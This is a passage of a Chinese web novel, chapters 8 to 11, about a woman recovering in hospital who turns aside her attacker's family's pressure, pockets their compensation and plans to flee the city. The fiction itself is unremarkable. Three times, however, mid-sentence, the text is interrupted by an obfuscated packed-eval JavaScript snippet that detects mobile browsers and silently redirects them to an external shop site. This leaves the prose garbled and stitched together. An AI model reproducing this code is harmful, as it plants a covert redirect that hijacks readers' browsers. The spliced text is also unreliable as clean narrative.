拍,宁绍明也觉得陆发的孙女太可怜也太倒霉了,好好一个还在上学的孩子却遇到那种事,以后怕是会有心理阴影。 他自己也有女儿,设身处地的想了想,简直无法想象万一自家孩子遇到该多难受。 陆发左右看看,压低声音:“你恐怕还不知道,这事不是孙洪光一个人做的,他背后还有人!你肯定想不到是谁在背后指使他!” 赵如月早就告诉宁绍明了,但这会儿他不该早就知道,就顺着陆发的话问:“竟然还有幕后指使者,那个人是谁?” 陆发声音压得更低了,咬牙切齿地说:“就是想害你家小赵的那个高广强,那该杀千刀的东西,祸害了不少外来打工的姑娘! 他们在这附近想害的可不只是小赵和我孙女,还有附近的一家,具体是谁我不好跟你说,反正你知道附近还有一家遭罪就行了。” 宁绍明心中对那家人是谁心中了然,点了点头并不追问:“这可真是无妄之灾。” “可不是么!你不知道,那个高广强图谋大得很,他竟然想通过控制我孙女来控制我家人,从而把控我家的几栋楼,把我家的楼弄成淫窝,强迫小姑娘拍片接客! 他在他一个有权的亲戚的管辖范围得逞过了,就想来这里故技重施,那可是违法犯罪的事!我们家能攒下这点家业可不容易,真让那种人得逞,好好一个家可就全毁了!” 他知道自己平时是有点好色的小毛病,但也只敢偷偷摸摸看点香港三级电影,顶多算犯点小错,却从来不敢碰那种事的。 陆发边说这些话,边气得发抖后怕,在家人面前他是家里人的主心骨,得端着一家之主的架子,不能慌也不能怕。 这些情绪就只能在同样知道这件事的宁绍明面前表现出一二。 他骂骂咧咧地继续说:“我说那个烂仔图谋大,还因为另一家,那家在体制内的职位比我亲戚还高,如果只是我家被算计,我还能想办法摆脱,实在不行也能去找亲戚帮忙,万一那家也被控制住,我找我亲戚帮忙都没用,没准还要连累亲戚。” 陆发的脸色和情绪变来变去,这会儿又变得庆幸起来:“幸好啊,幸好事情还没发展到那样的地步,我家亲戚现在反而因祸得福,查到的这个大案还牵扯出另一个大案,现在那个死烂仔身上足足背着三个案子!” “三个?”宁绍明在心里数了又数,就算他现在希望高广强马上暴毙,也没数出三个,“除了他收买卢秋英欺负小月那件事和影碟的事,还有什么?” 陆发挡着嘴凑到宁绍明耳边小小声地说:“还有一个走私案,也跟那些影碟有关,那些影碟他搭别人走私的路子,卖到国外去了! 这个走私案牵扯更大,从货源到渠道再到终端,一整条地下产业链,涉及到的人非常多! 高广强祸害了那么多姑娘,也只是这案子里其中一个供货的人,可见这个案子比那两个案子复杂得多,没那么好办。 警方那边单独成立了专案组正在查,我只能告诉你这些,再多的不能说,我也不知道了,你听完跟你老婆提几句没事,可不要告诉别人。” 8. 第 8 章 陆发把宁绍明当忠实听众,将孙洪光和高广强来来回回地骂了半个小时。 宁绍明看他隐隐有继续下去的趋势,趁他喝水润嗓子的空挡,抓住机会赶紧说:“回来做饭前我老婆就喊肚子饿,陆老板我先去给她送饭了,谢谢你送来的猪脚姜,改天有空再聊?” 陆发有些意犹未尽,但他总不能耽误人家去照顾病人,只好说:“行,你赶紧去吧,等小赵出院,我带好茶和谢礼上门,我们慢慢叹茶、慢慢聊。” 带着饭回到医院,宁绍明先去问过医生,确认自己带来的东西赵如月都能吃,才拐到病房给她送去。 陆发送的猪脚姜味道确实很好,很合赵如月的胃口,压在她心头的大石头之一落下,她现在什么都吃得香。 赵如月吃着饭,听宁绍明说他回出租房做饭时发生的事。 她住的病房是双人间,不过现在另一张床还没人睡,他们说起话来不用顾忌外人,只要注意小声些,别让路过的人听到就行。 老乡们会说的话,赵如月猜都能猜到,她对此毫不意外。 倒是听到高广强犯的事竟然还牵扯去第三个案子,让她惊讶不已。 赵如月真没想到,孙洪光被抓住审问,还审出来个‘意外之喜’。 这走私案,她上辈子是真没听说过。 不知道上辈子是没查出来,还是查出来了,但自己在老家信息封闭没注意到这边的新闻,她以前确实不是喜欢看新闻和报纸的人。 她低下头啃着猪脚,被睫毛挡住的眼睛眸光微闪,心想:也就是说,即使她这个案子高广强得以轻判,另外两个案子的量刑他也逃不过,甚至还有可能得吃颗花生米。 赵如月咽下嘴里的肉对宁绍明说:“高家人现在肯定正想办法捞高广强,没准过几天会来找我。” 宁绍明停下给她夹菜的筷子,微微皱眉:“我这几天哪也不去,他们敢来,我就敢拿大拖把轰他们出去!医院的清洁工会把扫把放在厕所的坑里,边冲水边洗,我中午上厕所亲眼看见了。” “正吃着饭,乱说什么呢!还让不让人好好吃饭了?”赵如月嫌弃地往他手臂上锤一拳,可惜身上虚,力度不复以往风采。 宁绍明投降:“好好好,我不说了,反正我肯定在门口守着,不让他们进来打扰你养病!” “没必要,不让他们进来,我怎么跟他们要高广强伤人的赔偿?”她费心费力拼着让自己受伤没了孩子弄这一出,可不只是为了把卢秋英夫妻和高广强送去吃牢饭。 他们这些加害者会受到惩罚,自己这个受害者也该得到应得的补偿。 高家为了把高广强捞出来,肯定会找关系,想方设法地给高广强减轻刑罚,这样一来这案子什么时候能结案就是个未知数。 而未知容易让她不安,规定能得到,可没进自己兜里,可不算自己的,还是落袋为安更实在。 如果她没有孩子要养,没有债要还,心态依然年轻,也许还可能会有视金钱如粪土的倔强,赤诚地认为只要坏人得到惩罚,自己有没有赔偿无所谓。 至于现在……当然是赔偿款更香。 高广强的家人确实在到处想办法捞高广强,他们在高广强被抓的当天中午就托关系见到了他。 这个时候高广强还不知道孙洪光也被抓了,他告诉自己的家人尽快去找卢秋英的老公孙洪光:“我不被定为主犯就不会被判多久,卢秋英那女人就一个土了吧唧的村妇,没什么见识,在家也没地位,她什么都听孙洪光的, 想让她揽下主要责任,最好通过她老公传话,你们按照我给的地址去找就行,孙洪光今天绝对在家。” 高广强手里捏着孙洪光最大的来钱渠道,而且还有之前的一笔报酬没来得及给孙洪光。 两人说好今天给那笔钱,他顺便把那二十盒碟片带走,所以他十分笃定孙洪光一定会帮自己。 而且高广强觉得自己说卢秋英的那些话也没夸大,在以往的观察中,那对夫妻之间确实完全以孙洪光为主导,卢秋英被打了都不敢吭声,在外面还会给自己丈夫找借口圆过去,窝囊废一个! 为了争取尽早把高广强捞出来,尽量让他少受点罪,高家人见过高广强后,立刻去取钱,然后赶往孙洪光的出租房。 他们预备了不少钱,准备直接砸钱让他劝卢秋英揽下大部分罪责。 高家人急匆匆来到孙洪光租房子的院子前,已经是傍晚,冲进去的时候太着急,还差点撞到一个左手提着保温桶,右手提着饭盒的快步往外走的男人。 冲在最前面的高母正要骂人,人家却已经疾步走远,她只好愤然对着那男人的背影吐了一口口水,低声骂一句:“赶去投胎啊!死扑街,祝你早死早超生!” 两边信息不通,他们意料之外地扑了个空。 走下楼时,在院子里遇到一个慢悠悠往外走的老头,高母急忙拦住那老头问:“喂,你住在这里应该认识那边那栋二楼的孙洪光吧?知不知道他去哪里了?” 陆发刚刚看到这女人对着宁绍明斜眼撇嘴了,宁绍明对他家有恩,这女人敢这么对他恩人,陆发不惜得搭理她,冷哼一声绕过这几个人也快步离开了。 高母被气得一佛出世二佛生天,可再气也没办法,依然要继续找人问。 换了个人又花了点钱,才从院子里另一个租户那里打听到,孙洪光竟然也被抓了! 而这时候他们还不知道这意味着什么,也不知道这里面还有高广强的事。 高家人只好回家再次找关系,请熟人帮忙跟警方那边说一声,通融一下让他们见见孙洪光,再让孙洪光和卢秋英再见一面。 可就在他们回家拿存折,再去银行取钱的这段时间里,警方那边早已审完孙洪光,继而迅速成立专案组。 人家专案组人员压根不买账,受害者里面有上头领导的家属,上面正盯得紧,一副势必要把这案子里牵扯到的势力连根拔起的架势。 这种时候、这么大个案子,谁敢乱来? 他们找的熟人只勉强打听到,孙洪光这个案子跟售卖色.情光碟有关,更多的就死活打听不出来了。 高家人一听,更着急了,以为孙洪光卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428318|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些光盘是从高广强那里进货的,因为高广强会弄些光盘去卖这事,他们全家都知道。 看他这买卖做得有点样子,还以为他多少算是点正事做了。 高广强那么笃定地让找孙洪光,他们不会想不到他跟孙洪光肯定有不少往来, 再一听说孙洪光是因为卖光盘被抓,哪能联想不到高广强做的光盘买卖? 尤其高广强他爸,从警局回家的路上更是冷汗直冒,提心吊胆就怕警察查到那些光盘跟自己儿子有关系。 见不到孙洪光,那么让卢秋英揽下主责这事也八成是难办了。 这时候,高广强的家人终于想起倒霉的受害者赵如月。 而这时距离赵如月住院已经过去好几天,已经有负责孙洪光碟片案的警察找来跟宁绍明了解情况,带走了另一盒光盘。 医生也说赵如月可以出院了,只是宁绍明不放心,非要赵如月多住几天,等身体恢复得更好再出院。 他甚至巴不得赵如月在医院多住一段时间,一直住到做完小月子彻底康复为止更好,可惜赵如月不同意。 原本高母心里是极不愿意来的,她认为赵如月就是个外地臭打工的,还是个狐狸精、害人精,害得自己儿子糟这些罪的罪魁祸首。 没准八字克自己宝贝儿子,很不配自己亲自上门请求,求这种人让她觉得掉价。 可现在没办法,想让高广强减刑,必须要拿到赵如月签的谅解书。 高父高母二人来到医院,走进大厅正对着就是收费口,他们瞥了一眼脚步没停留便往住院部走。 一直走到打听到的病房门口,本想直接推门而入,忽然想起自己是来求人办事的,犹豫了一下又没推。 转而抬手敲了敲门,等里面传出一声:“门没锁,请进。”才推开门走进去。 病房里,夫妻俩正在吃早饭,今天吃的是宁绍明一大清早回去煮的瘦肉粥。 赵如月捧着一小碗粥,吃得真香,粥入口微微有点烫,但不会让人烫伤。 吃下去可以感受到胃部暖暖的,紧接着身体慢慢暖和起来,手脚也不凉了,还有些微微冒汗。 门外的人推门而入,赵如月正好抬起头来,看到高母的眼睛往病床上瞟。 那令人她有些不适的眼神从她脸上、身上和手上捧着的那碗粥掠过。 即使他们脸上带着笑意,赵如月依然在对方眼中捕捉到了那抹一闪而逝的鄙夷。 高母一进门,毫不客气地想占据谈话主导权:“哟,你们正吃早饭呢?看来我们没来对时候。” 赵如月和宁绍明猜到他们是谁了,但故意装作不知道:“你们是谁?走错病房里吧?这病房里就住着我们,我们在鹏城可没亲戚。” “没走错没走错,”高母指着她床头的位置,“我看到你床头牌子上写的名字了,我找的就是赵如月,我们是广强的父母,今天我们过来……” “滚!”不等高母说完,赵如月‘砰’地一下把粥碗往床头柜上重重一搁,指着病房外,“这里不欢迎你们,你们都给我滚!滚远点!” 9. 第 9 章 高广强出事后,高家人第一时间仔细查过赵如月和宁绍明。 知道这夫妻俩都是外地人,在本地没什么根基,也没有好运气遇到什么贵人,他们觉得这俩翻不出什么浪花,没必要管,便一直不予理会。 先前他们眼神都不屑多给一个,医药费也拖着不出,更别说去医院探望、道歉。 哪知风水轮流转,现在轮到他们来求人家了。 高广强的母亲看人抬着下巴、斜着眼睛,头发烫成香港时兴的小卷,一身招摇的大红旗袍,手里捏着个精致的小提包,穿着红色的小高跟,走路吧嗒吧嗒的,不知道的还以为她要去参加谁的婚礼,就差胸前别一朵胸花了。 身材不高、体型偏瘦的高广强父亲跟在她身后,手里提着些果篮和礼盒,整个人看起来灰扑扑的跟她一比被衬得十分不起眼。 宁绍明得过赵如月的吩咐,没认真拦人,装成一个不小心没拦住的样子,让他们硬是挤进了房间,走到距离赵如月床边两步的地方站定。 赵如月还以为,他们来求人大概会说几句软话,也许还会来点那什么道德绑架呢。 谁知高母脸上带着不达眼底的微笑,说出来的话,仿佛在给别人天大恩赐。 她大概想展现出自己十分和善大方,可以往面对穷人时高高在上惯了,临时要装也装得不像,表现出来的语气依然带着她自己没察觉到的高傲与施舍: “我知道你们乡下人家庭条件不太好,经济肯定不宽裕,医药费的事情你们完全不用太担心,那点钱在我们家少也就是几顿饭钱,我承诺,你住院的医药费我们家全包了!” “在来看你之前,我们已经先去医院收费处垫了五千块钱,看你惊讶的样子,医院应该还没来得及通知你们,听说你的伤也没有看起来那么重,治疗只花了一千多,加上后续的费用应该也不超过两千,扣掉你们垫付的那部分后,多出来的钱,医院会直接退给你们,那点钱也不用还了,就当是我们给你的补偿,那些钱虽然对我们来说不算什么,不过应该可以抵你打工几个月的工资了。” “哦对了,我记得你好像是我女婿厂里的女工,我女婿那个人我知道,做生意跟做慈善一样的,竟然还给员工买什么社保,等你出院去报销,能剩下更多。” 本来就该高家出的医药费、误工费、营养费这些费用,在他们嘴里说出来像是在施舍什么大恩大德! 高广强母亲原本还要说些什么,一看赵如月这态度,那些话全哽在喉头死活说不出来。 赵如月哪怕早有心理准备,这会儿心里也气得不行。 作为加害者的家属,来求受害者帮忙,难道不应该先代加害者向受害者道个歉吗? 她见过的鹏城本地人不少,但高母这样的还真不多见,大部分都讲究与人为善、和气生财的。 赵如月算是知道了,到底什么样的人会养出高广强那样的畜生! “少来这里假慈悲!”赵如月厉声道,“我刚刚说过了这里不欢迎你们,请你们立刻马上给我滚蛋!” 高母一听她这话,第一反应是自己都那么低声下气了,这女人竟然还敢用这种态度对自己,真是不识抬举,给敬酒她非不吃,这到底是什么贱骨头! 虽然来之前她已经做好低三下四求人的心理准备,可真正面对她心里认为低自己一等的人,说那些话的时候,依然觉得很难受,心里呕得慌。 没得到好结果,让她愈加不忿,在她一贯的认知里,自己给了好脸色,还给了钱,别人就应该感恩戴德才对。 原本还准备不少那些委曲求全的话,此刻她再也说不出一句,怒上心头不管不顾起来,只想指着这害人的狐狸精的鼻子狠狠臭骂一顿,看她还敢在自己面前嚣张! 高广强的父亲看高母脸色变了就感觉事情不太妙。 怕她气上头,口不择言说出什么不合适的话,急忙拽了她一下,把人拽到旁边,自己跨上前一大步,人都贴在了病床边沿,还弯下腰,看着仿佛像是摆出亲切态度的长辈。 高母在他身后看不到他正面,可站在宁绍明的角度看,对方的神情完全不是那么回事。 这死老头,突然贴得那么近,一弯腰,人看起来都快趴床上去了,赵如月只好往另一侧挪走,远离他。 老头那双浑浊的眼睛也直勾勾盯着赵如月,那眼神让宁绍明直觉很不舒服。 他立即上前拦了一下,把高父推回去半步,挡在床前,把赵如月挡了个严严实实,语气硬邦邦地说:“我老婆说现在不想见你们,你们赶紧走吧,有什么事改天再说,别刺激病人,她现在心情不太好,等她什么时候心情好了,你们再来。” 中间搁着一个身材高大的宁绍明,什么都看不到了,高广强的父亲脸上的神色看起来有些遗憾,也不知道到底在遗憾什么。 在宁绍明再次说逐客的话前,高父急忙把来之前商量好的话迅速说完,这老头看起来倒是没高母那么刻薄,说出来的话却也让人舒服不到哪里去: “我知道你们没了孩子很伤心,我们也在为自己的孩子发愁,所以特别能理解你们的心情,这次特地来,是想跟你们说一下赔偿的事,可怜天下父母心,希望你们也能理解我们为孩子的心。 我们咨询过律师,如果你们跟我们打官司,我们最多需要赔偿个两三万,你们没钱请律师,到时候肯定拿不到那么多。 但你们要是愿意签谅解书,我们愿意马上给五万块钱作为补偿,只要答应下来你们就立刻能拿到这笔钱,我们也能稍稍免除一些麻烦,这不是对大家都有好处嘛,希望两位好好考虑一下。” 说了这么多,仍然没有提过一句道歉的话。 赵如月冷哼一声,对宁绍明道:“我说了我不想见到他们,老公快把这两人赶出去!” 她可算知道高广强为什么那么令人恶心了,原来是上梁不正下梁歪,他这个爹,看起来跟他是一路恶心货色。 她话音刚落,宁绍明颠锅的手劲可不是开玩笑的,老婆一吩咐他一点磕巴不打,立刻挽起袖子一手一个直接把人提溜到病房门口,砰地关上病房的门,被关在门外的高父高母直接懵了,久久没回过神来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428319|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高母受不了这样的气,拽着想继续敲门说话的高父就往外走,带来的那点果篮和礼盒都没放下,又提着走了:“该说的全说完了,人家不愿意我们也不能逼人家,赶紧走吧!” 两人走到无人的楼梯拐角,高父甩开高母拽着自己袖子的手:“走?你脑子能不能清醒一点,不清醒就去医院厕所往自己脖子上那东西冲冲冷水!再好好想想我们今天来的目的是什么,还想不想救儿子了?!” “我怎么不想,你脑子才不清醒!”高母觉得自己比任何人都算得清楚,也比家里任何人都想救儿子,毕竟自己这辈子只生了一儿一女,这么大年纪也怀不上了。 女儿嫁出去成了别人家的人,以后留在身边给自己养老的可就这么一个儿子! 不像这死老头,光她知道的私生子、私生女就有三个,没被查到的还不知道有多少!更别说他以后保不齐还能找人再生! “这不是看那狐狸精端着架子装相,也不像会乐意帮忙的样子才有点着急了!”高母狠狠地咬牙说道,“要我说,我们就多余来找她,这种下等人、贱骨头穷鬼就是欠收拾,不如找几个人来吓唬吓唬他们,八成就老实了,保管比我们来医院磨破嘴皮子有用!” “你别犯傻,万一她再去报警怎么办?”高父回想起在病房时,那靠在床头稍带病气的柔弱大美女,觉得那么一张脸要是被打得面部全非也太可惜,于是耐心劝了几句。 可高母心意已决:“鹏城龙蛇混杂的城中村里,来鹏城讨生活的外地人多得是,我找个明面上看起来跟我们家完全没来往的人,再让那人去找几个老家离得远的捞佬,办完事多给点钱让他们跑路,谁知道是我们干的?” 高父见劝不动她,就没再说话,转而思考起自己能如何利用这件事。 反正他又不是只有一个孩子,不至于折了大儿子就绝后,大儿子没了也不影响他过自己的好日子, 他救儿子的心确实没有高母坚定,不如先顾着自己享受。 两人走出医院,高母等不及,怒气冲冲地马上要去找人办事。 高父则借口自己要去找找别的关系,高母不相信他却也拿他没办法,管不住只好不理他,自己找人去了。 高母走后,高父确认她不会杀个回马枪,脚步一拐,又转头回医院,躲在一处不起眼的角落,暗暗盯着赵如月的病房蹲守等待。 高父高母来之前既然仔细打听过赵如月和宁绍明,高父自然知道宁绍明几乎每天、每一餐都不怕麻烦、不辞辛劳地回出租屋,亲自给老婆做病号餐。 他觉得医院里的饭不如自己做的好,老婆也更习惯吃自己做的饭,于是不顾请假超期会被扣工资,请了假专门回来照顾老婆,每天三餐回出租房给赵如月做好再带来医院。 高父一直等到临近中午,果然看到宁绍明带着保温桶离开了医院,回去给赵如月做饭。 宁绍明前脚刚走,高父后脚就迫不及待地来到赵如月的病房。 赵如月背对着门口,听到动静,以为是宁绍明忘拿什么东西又回来了。 10. 第 10 章 “怎么是你?!”赵如月一转身,看到这老头,嘴角弯起的好看弧度瞬间耷拉下去。 高父嘿嘿笑了几声,看起来比起早上第一次见到时那不起眼的样子多了一丝猥琐。 面对赵如月的冷脸,高父仿佛一点不恼,自顾自慢悠悠地走进来:“我来是想好心提醒你一下,你们今天得罪我家那母老虎,她可不会轻易放过你们。” 特地单独再来一趟就为了说这个? 赵如月可不信,她在高父高母离开后,让宁绍明去收费窗口问过,他们根本没缴纳那五千块钱的医药费,这两个人在她这里可信度直线下降。 不过看高母离开时那样子,再联想一下高广强是她唯一一个儿子,不难猜到她大概会用更极端的方法来达成目的。 高父在这件事上,应该没撒谎,他貌似也想用这件事来达成一些别的目的。 赵如月低着头思考,自己跟宁绍明是不是应该赶紧回老家,或者去其他城市先躲一段时间。 见赵如月沉着脸不吭声,以为她是被自己的话吓住,高父得意之情溢于言表。 他拿出已经写好只等签字的谅解书,然后抛出准备已久的利诱条件:“那母老虎小气,最多只愿意给五万块钱,我跟她不一样,如果你愿意签谅解书,我愿意给你十万。” 紧接着神色一变,色眯眯地盯着赵如月,身上猥琐气息更重了: “要是你还愿意给我做事,我可以再给十万块钱,并且保证把你藏到一个母老虎找不到的地方,帮你们摆脱她的刁难,让你过上好日子。” 高父说着还真拿出一大沓现金,颇有气势地拍在病床边的柜子上。 他深知现金带给人的冲击力是很大的,尤其是对穷人,以往他用这个手段从来没失败过。 真金白银可比什么口头说自己多有钱、能人多少钱,或者写一串支票上那空落落的数字给人震撼大得多: “为了体现我的诚意,我可以先把这十万块钱给你,剩下的十万,要等你来我身边做事再给,我保证说话算数!” 赵如月心中嘲讽,把她藏到高母找不到的地方? 藏? 说得多委婉,实际上不就是想背着老婆包二奶么! 而且这十万明明是作为她的赔偿款以及让她签谅解书的交换条件,让他那臭嘴一说,仿佛是专门体现他的诚意才给的。 赵如月强忍着那令人恶心不适的、在自己身上游走的目光问:“除了签谅解书,你想要我做什么事?” “想让你做什么事到时候你就懂了,我跟我儿子不一样,我没他那么小气,”她没有第一时间拒绝,这人就以为她心动了,越发自得。 他已经开始设想以后的快活:“只要我有需要的时候你能随时来,其他时候,你有绝对的自由,我不介意你在我没需求的时候跟你丈夫联系。” 她眼珠子一转,装作犹疑的样子继续说:“我是你儿子看上的人,他付出那么多,出来后肯定不会轻易放过我,你不怕他真能出来,到时候因为我而跟你翻脸?” 听到这话,高父自得一笑:“这有什么,以前我又不是没跟他一……”话说到一半,发现差点说漏嘴,急忙改成,“以前我又不是没给他找过,到时候我给他介绍个更好的,我是他亲爹,他怎么可能因为这点小事跟我翻脸。” 不过晚了,现在的赵如月已经不是从老家出来打工不到一年没多少见识的她。 即使高父没说完,赵如月也明白了那句话背后的意思。 赵如月快听吐了,听这老头话里的意思,这老头玩得跟他儿子一样花! 他们父子俩恶心的程度根本不分高低! 此时赵如月恨不得指着满脸自得的高父破口大骂,让他见识见识什么是真正的母老虎! 可惜不行,高母已经在找人对付她,如果再跟这老头对上,他们夫妻俩联起手来找人对付自己,情况会对自己更加不利。 况且她算计这么久,只差临门一脚就能摆脱负债与赤贫状态,可不能让事情功亏一篑,她无法接受竹篮打水一场空的结果。 现在不抓住机会,还不知道得等到什么时候才能拿到赔偿。 如果能用正常的方法和途径拿到赔偿款,谁也不愿意冒这种风险。 赵如月故意没见过世面一样,露出毫不掩饰的贪婪目光,紧紧地注视着桌上的钱说: “我被你儿子害得摔下楼,医生说不但孩子没了,还被摔得脑震荡,现在我头晕的症状都没完全恢复,没办法思考你说的第二件事,我的精力只够去想自己受伤该得到多少赔偿。” 高父轻轻拍了拍那沓钱,眼神越发肆无忌惮地盯着她穿着病号服的胸口,摆出一副大方的不得了的样子说:“没事你治好身体更要紧,第二件事可以慢慢想,我一点也不着急,这些钱,我带来的时候就没想过要带回去,不过你得先给我点甜头,让我看看你的诚意。” “甜头?”赵如月微微一笑,“这多简单。” 她之前那么能豁得出去,弄得自己一身伤,就是为了将计就计拿到一笔赔偿款。 之前把高家人赶走,除了心里气高家人来求人办事气焰还那么嚣张,没有一点愧疚心,还连一句道歉的话都不说之外,也是想抻一抻对方,好让高家多赔点钱。 赵如月都想好了,等下次高家人再来的时候,不管他们多给多少都同意,签了那谅解书,让钱落袋为安,要不然怕夜长梦多。 本以为顶天了也就能让高家再多给一万,现在能拿到这么多真是意外之喜。 十万块钱放到以后可能不算什么,即使是她这样低学历的普通人,进厂干活一个月五六千,攒个两三年都能攒下。 可放现在,对自己这样的家庭来说就是一笔巨款,几乎能解决她家所有需要用钱来解决的烦恼。 赵如月从床上下来,高父眼睛一亮,心想:听说这女人的穷鬼男人对她不错,进厂干活都不让她多加班,所以现在三十出头的年纪了,看着还跟二十啷当岁一样,又比二十出头的青涩小姑娘多了些少妇的风情,怪不得儿子总惦记。 他满脸垂涎期待的表情,等着这女人来伺候自己,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428320|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也越发觉得自己儿子没用,看看现在,自己用对了方法,这女人不是挺知情识趣的嘛! 谁知赵如月下了床却弯下腰,打开床头柜的柜门掏了几下,掏出一个行李袋,又从行李袋里拿出一支笔。 用笔在谅解书上签下自己的名字后,一手拿着谅解书,一手飞快把钱全扒拉到敞开口的包里:“这样诚意够足了吧?” 高父震惊到目瞪口呆,他要的甜头可不是这个! 赵如月对此心知肚明,但她怎么可能如这人的愿?一笔钱既想要谅解书又想要满足自己的欲.望,死老头在想屁吃! 高父有些气恼地正要说些什么时,有人在外面敲了敲门,以为是宁绍明又转头回来,他一慌张什么都不敢再说了。 可见之前说什么在他没有需求的时候,不介意她跟她丈夫联系,全都是瞎话,这老头看起来怕被人家老公抓到怕得要死,保不齐以前就被别人老公抓过现行被打过。 赵如月看他那怂了吧唧的神色,不禁在心里冷哼,她就是算准了这个点护士会来,才趁机那样做的。 赵如月把行李袋上的拉链拉好,转头对着门口说:“请进。” 推门进来的人果然是护士。 不过赵如月也怕真把高父惹恼了,到时候不管不顾地跟高母一起来报复自己,就转头先稳住他:“你说的另一件事,我不是说了,需要好好考虑考虑,你也说刚刚我治好身体要紧,让我先养好身体,难道说话不算话? 还有这谅解书你要不要?不要就算了,我就当你刚才说的话都是想哄骗我,你走吧!” 高父一听,不行,可不能功亏一篑! 两件事能暂时先完成一件也不错,他儿子的事,不仅老婆特别上心,女儿也不遑多让,他们家是有钱,但不如女婿家。 女儿总觉得他偏心外头的那些儿女,对她弟弟不管不顾,平时她给家里的钱,从不愿意直接交到他手上,一直是先过他老婆的手。 过了这一道手,给到他手上的有五分之一都算不错的。 这回老婆无功而返,而自己却拿到了这谅解书,等会儿回去后把谅解书带到女儿面前,也能让她看看,自己不是对她弟弟不上心,以前都是她错怪了自己。 到时候能从女儿手里捞到的钱肯定不少,给出去的那十万就不算什么了。 高父立刻上前,一把将谅解书从赵如月手中扯过来收好:“行,那今天就先这样,另一件事你好好考虑,以后亏待不了你,我改天再来探望你。” 赵如月方才那一番表现,让他笃定这女人就是个彻彻底底的拜金女,儿子没成功拿下她,是没让她亲眼见到足够的现钱。 高父寻思,这回就先让她尝点甜头,下次再带着现金来,再刺激她一回,自己想的事肯定就成了。 真的拿到了那么多钱,赵如月还能继续忍他一会儿。 她压下心里的些许厌烦,挤出一抹笑来,点头说:“好。” 心里却想着:改天?改天你再来,能找到人才怪了! 她今晚就带着宁绍明跑路! 11. 第 11 章 医生本来就说过,她身体恢复得不错,可以选择继续多住院几天,也可以选择出院回家休养,等复诊的时候再来。 赵如月自己其实是想回出租房休养的,只是宁绍明坚决让她多住一段时间,她才继续在医院里住着。 现在有必须要走的理由,她相信宁绍明不会固执己见让自己继续住院。 此时回到出租房的宁绍明正在厨房忙活着,先把饭和鸡汤分层一锅蒸上,然后抓紧时间快速做两个清淡有营养的快手菜。 他不太放心赵如月一个人在医院。 虽然每次回家前都会跟管床护士说一声,请她们帮忙多关照一下自己老婆,但护士们都很忙,有事不一定能及时注意到,所以他每次回来做饭的速度都尽量快。 洗洗切切炒炒一通忙活,等两个菜做好,饭跟汤也好了,快手装进保温桶就赶紧回医院。 路上遇到品相不错的水果,顺便买了一袋,自己留两个,其余全送给对他们颇为关照的医护人员。 他走后病房里发生的事,赵如月怕跟他说了之后他气得吃不下饭,等吃完饭才告诉了他。 宁绍明听完果然气得眼睛都红了,他喘着粗气猛地站起来,看起来像是下一秒就要跑出去找人拼命。 赵如月急忙一把将人拉着重新坐下,拍着他的后背给他顺气:“别气别气,我又没吃亏,你看看这是什么!” 装钱的行李袋一打开,里面一堆红彤彤的钞票,简直闪瞎人眼! “这这这……”宁绍明即便听赵如月说了有多少钱,提前有心理准备,依然被惊得说不出完整的话来。 活了三十一年,人生算过去了三分之一,他第一次见到这么多钱! 即使宁绍明早就明白,人跟人之间的贫富差距非常大,但真正直面它时,也依然受到了不小的冲击。 以前他和其他老乡一样进洗衣机厂上班的时候,三班倒还要经常加班,一天干活十一二个小时,一个月才挣一千出头。 他本以为现在自己一个月能拿两千二百块钱工资,已经算混得不错了。 看着那红通通的一堆钱,宁绍明心里有些不是滋味。 他们生小女儿时的罚款也才八千块钱,却把他们全家都愁得跟什么似的。 而大城市的有钱人,十万块,说给就给。 也许他们花出去十万块钱,跟穷人花五十、一百块钱甚至五块、十块差不多。 宁绍明不禁想:如果自己也能挣很多钱,老婆就不用受这样的委屈了。 赵如月把行李袋收起来,继续小声对宁绍明说:“我想好了,现在那老头家里的事可不少,八成得过几天再来,我们可以趁着这几天的空档,抓紧时间离开鹏城找个没人认识我们的地方,躲一段时间!” 宁绍明脑子里乱七八糟的,却不影响他应下赵如月的话:“你想好去哪里了吗?我得提前跟酒店请假……” 他顿了顿心里有些不舍,也觉得有点对不住栽培自己的酒店,但现在为了老婆的安全,他们没得选,就依然继续说:“不行的话,只能辞工了。” “我知道你舍不得这份工,但形势比人强,”赵如月叹了一口气说,“直接辞了吧,就说我身体不好,你得带我去求医,照顾我。” 这话说出去,不熟的人可能会觉得宁绍明疯了。 可熟人一听就知道,人没疯,这就是他宁老三能做出来的事,至少能把熟人糊弄过去。 “行,等我们走到半路,我再给文发打电话,让他帮我辞工。”宁绍明想着,既然要躲起来,最好不要过早让其他任何人知道他们的行踪。 